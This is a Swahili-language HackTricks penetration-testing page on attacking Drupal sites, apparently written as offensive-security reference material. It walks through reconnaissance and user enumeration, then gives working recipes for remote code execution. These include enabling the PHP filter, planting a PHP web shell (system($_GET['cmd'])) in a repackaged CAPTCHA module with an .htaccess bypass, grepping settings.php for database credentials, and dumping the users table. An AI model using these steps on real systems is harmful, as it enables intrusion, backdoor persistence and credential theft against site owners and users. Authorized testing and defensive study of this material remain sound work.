8.7 KiB
Drupal
Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA USAJILI!
- Pata bidhaa rasmi za PEASS & HackTricks
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
{% embed url="https://websec.nl/" %}
Kugundua
- Angalia meta
curl https://www.drupal.org/ | grep 'content="Drupal'
- Node: Drupal huiweka maudhui yake kwa kutumia nodes. Node inaweza kuwa na chochote kama chapisho la blogu, kura, makala, n.k. URI za kurasa kawaida ni kwa mfano
/node/<nodeid>
.
curl drupal-site.com/node/1
Uchambuzi
Drupal inasaidia aina tatu za watumiaji kwa chaguo-msingi:
Msimamizi
: Mtumiaji huyu ana udhibiti kamili wa tovuti ya Drupal.Mtumiaji Aliyethibitishwa
: Watumiaji hawa wanaweza kuingia kwenye tovuti na kutekeleza shughuli kama vile kuongeza na kuhariri makala kulingana na ruhusa zao.Mgeni
: Wageni wote wa tovuti wanachukuliwa kama wageni. Kwa chaguo-msingi, watumiaji hawa wanaruhusiwa tu kusoma machapisho.
Toleo
- Angalia
/CHANGELOG.txt
curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""
Drupal 7.57, 2018-02-21
{% hint style="info" %}
Mipangilio mapya ya Drupal kwa chaguo-msingi huzuia ufikiaji wa faili za CHANGELOG.txt
na README.txt
.
{% endhint %}
Uainishaji wa Jina la Mtumiaji
Jisajili
Katika /user/register jaribu kuunda jina la mtumiaji na ikiwa jina tayari limechukuliwa utapewa taarifa:
Omba nenosiri jipya
Ikiwa unauliza nenosiri jipya kwa jina la mtumiaji lililopo:
Ikiwa unauliza nenosiri jipya kwa jina la mtumiaji ambalo halipo:
Pata idadi ya watumiaji
Kwa kufikia /user/<number> unaweza kuona idadi ya watumiaji waliopo, kwa mfano hapa ni 2 kwani /users/3 inarudisha kosa la kutopatikana:
Kurasa Zilizofichwa
Fanya Ufutaji /node/$
ambapo $
ni nambari (kutoka 1 hadi 500 kwa mfano).
Unaweza kupata kurasa zilizofichwa (jaribio, maendeleo) ambazo hazitajwi na injini za utaftaji.
Taarifa za Moduli Zilizosanikishwa
#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
#Get info on installed modules
curl https://example.com/config/sync/core.extension.yml
curl https://example.com/core/core.services.yml
# Download content from files exposed in the previous step
curl https://example.com/config/sync/swiftmailer.transport.yml
Kiotomatiki
droopescan scan drupal -u http://drupal-site.local
RCE
Kwa Moduli ya Kichujio cha PHP
{% hint style="warning" %}
Katika toleo za zamani za Drupal (kabla ya toleo la 8), ilikuwa inawezekana kuingia kama admin na kuwezesha moduli ya PHP filter
, ambayo "Inaruhusu nambari/snippets za PHP zieleweke."
{% endhint %}
Unahitaji plugin ya php iwe imewekwa (angalia kwa kufikia /modules/php na ikirudi 403 basi, ipo, kama haipatikani, basi plugin ya php haijawekwa)
Nenda kwa Modules -> (Angalia) PHP Filter -> Hifadhi mazingira
Kisha bofya Ongeza maudhui -> Chagua Ukurasa wa Msingi au Makala -> Andika mimba ya php kwenye mwili -> Chagua Nambari ya PHP katika Muundo wa Maandishi -> Chagua Onesha
Hatimaye tuifikie nodi iliyoanzishwa hivi karibuni:
curl http://drupal-site.local/node/3
Sakinisha Moduli ya Kichujio cha PHP
Kuanzia toleo 8 na kuendelea, moduli ya Kichujio cha PHP haitasakinishwa kwa chaguo-msingi. Ili kutumia kazi hii, tutahitaji kusakinisha moduli wenyewe.
- Pakua toleo jipya zaidi la moduli kutoka kwenye tovuti ya Drupal.
- wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
- Baada ya kupakua enda kwenye
Utawala
>Ripoti
>Visasisho vinavyopatikana
. - Bonyeza
Tafuta
,
chagua faili kutoka kwenye saraka tuliyoidownload, kisha bonyezaSakinisha
. - Baada ya moduli kusakinishwa, tunaweza bonyeza
Yaliyomo
na umba ukurasa mpya wa msingi, kama tulivyofanya kwenye mfano wa Drupal 7. Tena, hakikisha uchagueMsimbo wa PHP
kutoka kwenye menyu yaMuundo wa Matini
.
Moduli yenye mlango wa nyuma
Moduli yenye mlango wa nyuma inaweza kuundwa kwa kuongeza ganda kwenye moduli iliyopo. Moduli zinaweza kupatikana kwenye tovuti ya drupal.org. Chagua moduli kama vile CAPTCHA. Endelea chini na nakili kiungo cha tar.gz cha hifadhi.
- Pakua hifadhi na fichua maudhui yake.
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
- Unda PHP web shell na maudhui:
<?php
system($_GET["cmd"]);
?>
- Kisha, tunahitaji kuunda faili ya
.htaccess
ili tupate ufikiaji wa folda. Hii ni muhimu kwani Drupal inakataa ufikiaji moja kwa moja wa folda ya/modules
.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
- Mipangilio hapo juu itatumika kwa sheria za folda ya / tunapouliza faili katika /modules. Nakili faili zote mbili kwenye folda ya captcha na unda kiunzi.
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
- Kukadiria kwamba tuna upatikanaji wa utawala kwenye tovuti, bonyeza
Manage
na kishaExtend
kwenye upau wa pembeni. Kisha, bonyeza kitufe cha+ Sakinisha moduli mpya
, na tutapelekwa kwenye ukurasa wa usakinishaji, kama vilehttp://drupal-site.local/admin/modules/install
Tafuta kwenye nyaraka ya Captcha iliyoharibiwa na bonyezaSakinisha
. - Mara tu usakinishaji unapofanikiwa, tafuta
/modules/captcha/shell.php
kutekeleza amri.
Baada ya Kuvamia
Soma settings.php
find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null
Pindua watumiaji kutoka kwenye DB
mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'
Marejeo
{% embed url="https://websec.nl/" %}
Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA USAJILI!
- Pata bidhaa rasmi za PEASS & HackTricks
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud github repos.